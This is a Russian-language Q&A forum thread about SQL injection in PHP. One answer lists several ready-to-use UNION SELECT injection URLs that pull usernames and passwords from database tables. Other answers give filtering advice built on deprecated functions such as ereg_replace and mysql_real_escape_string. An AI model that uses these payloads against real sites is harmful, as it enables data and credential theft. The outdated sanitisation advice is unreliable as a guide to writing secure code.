sql инъекции для новичков



Sql инъекция пример

Автор Олег Астанин задал вопрос в разделе Другие языки и технологии

SQL-инъекция и получил лучший ответ

Ответ от Артур Тагиров[гуру]
а ты входные параметры фильтруешь?
на всякий:
function sqlcheck($var)
{
$var=ereg_replace('[^а-яёА-ЯЁa-zA-Z0-9_. \-]','',$var);
#оставляем только то, что разрешено
#очень важно (!) профильтровать все переменные, учавствующие в запросе, иначе будет sql уязвимость
return $var;
}
тело этой функции объявляешь где-нибудь в отдельном файле, и инклудишь его при сборке, а к самой функции обращаешься так: $id=sqlcheck($_GET['id']);
а потом уже делаешь запрос.
Инъекцию проводишь так: (и тут дальше идет тело иньекции)
(это все, если в id будет содержаться не только число, а если передается просто число, то стандартными функциями фильтруй)
примеры SQlL-инъекций:
index.php?Kat=-1/**/union/**/select/**/userpass/**/from/**/kep_uporabniki/**/where/**/IdUser=1/*
null+union+select+1,concat_ws(0x203a20,usrname,pass)+from+userso--
showcat.php?Cat_ID=null+union+select+1,concat_ws(0x203a20,name,password)+from+Users--
index.php?t=ph&id=null'+union+select+unhex( hex(concat_ws(0x203a20,id,litera,haslo,0x3c62723e3c62723e)))+from+sennik--+
index.php?sn=1'+AND+0+UNION+ALL+SELECT+1,database(),3,user(),5,6/*
index.php?ob=start&back&con=1

Ответ от Katze von Ulthar[гуру]

Ответ от ?????? Зелёный змий ??????[гуру]
Если $id - число, то делай intval($id), тогда никакая иньекция не пролезет

Ответ от Umid_tengiz@mail.ru[новичек]
используй функцию mysql_real_escape_string - она экранирует все спец символы в строке и подготавливает строку к запросу SQL

Ответ от Антон -[гуру]
"да, фильтрую с помощью htmlspecialchars, trim, addslashes, empty, и еще через функцию для майэскюэль...." этоооо.. .слов нет. А зачем? Где написано что нужно применять такую кашу? Если id - целое число: $mysql_id = (int)$id; // или

Ответ от Roman G[гуру]
$result_sql = mysql_query("SELECT * FROM tables WHERE id='$id'"); Задача: получить строку чтобы при запросе выдало данные с другого ID Условие: вы пока никак не защищены. Значит надо менять запрос! (это и есть SQL иньекция 🙂 ) Чё мы

Ответ от 3 ответа[гуру]
Привет! Вот подборка тем с похожими вопросами и ответами на Ваш вопрос: SQL-инъекция
Внедрение SQL-кода на Википедии
Посмотрите статью на википедии про Внедрение SQL-кода
 

Ответить на вопрос:

Имя*

E-mail:*

Текст ответа:*
Проверочный код(введите 22):*